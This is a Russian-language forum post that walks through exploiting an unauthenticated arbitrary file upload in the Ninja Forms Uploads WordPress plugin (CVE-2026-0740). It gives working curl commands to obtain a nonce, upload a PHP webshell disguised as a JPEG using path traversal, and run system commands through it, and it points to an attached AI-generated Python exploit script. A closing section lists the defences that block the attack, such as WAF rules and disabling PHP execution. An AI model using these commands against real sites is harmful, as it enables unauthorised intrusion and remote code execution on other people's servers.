- Автор темы
- #1
Разберём эксплуатацию неаутентифицированной произвольной загрузки файлов (Unauthenticated Arbitrary File Upload) в плагине Ninja Forms Uploads для WordPress (CVE-2026-0740).
В архиве прикреплено Python скритп, который поможет оптимизировать запросы, сгенерировано с Apex-AI.
Запуск python скрипта:
Пошаговый разбор работы эксплойта
- Генерация случайного идентификатора поля (field_id)
Скрипт генерирует случайное число (например, 16-значное). В нормальной ситуации field_id должен соответствовать реальному полю формы, созданному администратором. - Получение nonce (защитного токена)
Скрипт обращается к файлу admin-ajax.php (который в WordPress доступен без авторизации) и запрашивает токен безопасности (nonce) для действия nf_fu_get_new_nonce.Bash:curl -s -X POST "$target/wp-admin/admin-ajax.php" -d "action=nf_fu_get_new_nonce&field_id=$field_id"
Уязвимость: Плагин ошибочно генерирует и возвращает валидный nonce для любого переданного field_id, не проверяя, существует ли такая форма или имеет ли пользователь право на загрузку. Это позволяет обойти проверку подлинности запроса. - Загрузка файла с использованием обхода путей (Path Traversal)
Bash:curl -ks -X POST "$target/wp-admin/admin-ajax.php" \ -F "action=nf_fu_upload" \ -F "nonce=$nonce" \ -F "form_id=$field_id" \ -F "field_id=$field_id" \ -F "image_jpg=../../../$file_name" \ -F "files-$field_id=@/tmp/$file_name;filename=image.jpg;type=image/jpeg"
Это ядро уязвимости. Здесь используются две хитрости:- Маскировка: Файл отправляется как image.jpg с MIME-типом image/jpeg, чтобы обойти базовые проверки расширения и типа файла на стороне клиента или простые проверки сервера.
- Directory Traversal (../../../): Параметр image_jpg=../../../webshell.php является критическим. Вместо того чтобы безопасно сохранить файл во временной директории или папке загрузок (например, wp-content/uploads/ninja-forms/), уязвимый код плагина, вероятно, использует значение параметра image_jpg для формирования итогового пути сохранения. Последовательность ../../../ заставляет сервер "подняться" на три уровня вверх из целевой папки и сохранить файл прямо в директории wp-content/ под именем webshell.php.
- Выполнение кода:
Поскольку файл был сохранен в общедоступной директории wp-content/ с расширением .php, веб-сервер (Apache/Nginx) интерпретирует его как PHP-скрипт. Передача параметра ?cmd=id позволяет выполнить произвольную системную команду на сервере.Bash:curl -ks "$target/wp-content/webshell.php?cmd=id"
Нет, не на любом. Успешная эксплуатация зависит от множества факторов конфигурации сервера и защиты:
- Точная версия плагина: Уязвимость должна присутствовать в установленной версии (в описании указана 3.3.24, но может затрагивать и соседние версии до выхода патча). Если плагин обновлен, эксплойт не сработает.
- Настройки прав доступа к файлам: Для успешной записи файла в wp-content/ процесс веб-сервера (например, www-data) должен иметь права на запись в эту директорию. Хотя это часто так, в некоторых конфигурациях права могут быть ограничены.
- Выполнение PHP в директории wp-content:
Это самый частый способ защиты. Администраторы могут добавить в файл .htaccess (для Apache) или в конфигурацию Nginx правило, запрещающее выполнение PHP-скриптов в директориях загрузок и в wp-content.
Пример для Apache: php_flag engine off (можно пробовать другие расширения)
Пример для Nginx: location ~* ^/wp-content/.*\.php$ { deny all; }
Если такая защита настроена, сервер вернет ошибку 403 Forbidden или просто отдаст исходный код файла как текст, но не выполнит его. - Web Application Firewall (WAF):
Современные WAF (например, Cloudflare, ModSecurity, Wordfence, iThemes Security) почти наверняка заблокируют этот запрос. Сигнатуры, содержащие ../../../, admin-ajax.php с подозрительными параметрами или попытку загрузки .php под видом .jpg, являются классическими триггерами для блокировки. - Отключение admin-ajax.php для гостей: Некоторые плагины безопасности ограничивают доступ к admin-ajax.php только для авторизованных пользователей, что сломает самый первый шаг эксплойта (получение nonce).
В архиве прикреплено Python скритп, который поможет оптимизировать запросы, сгенерировано с Apex-AI.
Запуск python скрипта:
Bash:
python cve_2026_0740.py https://example.com -v
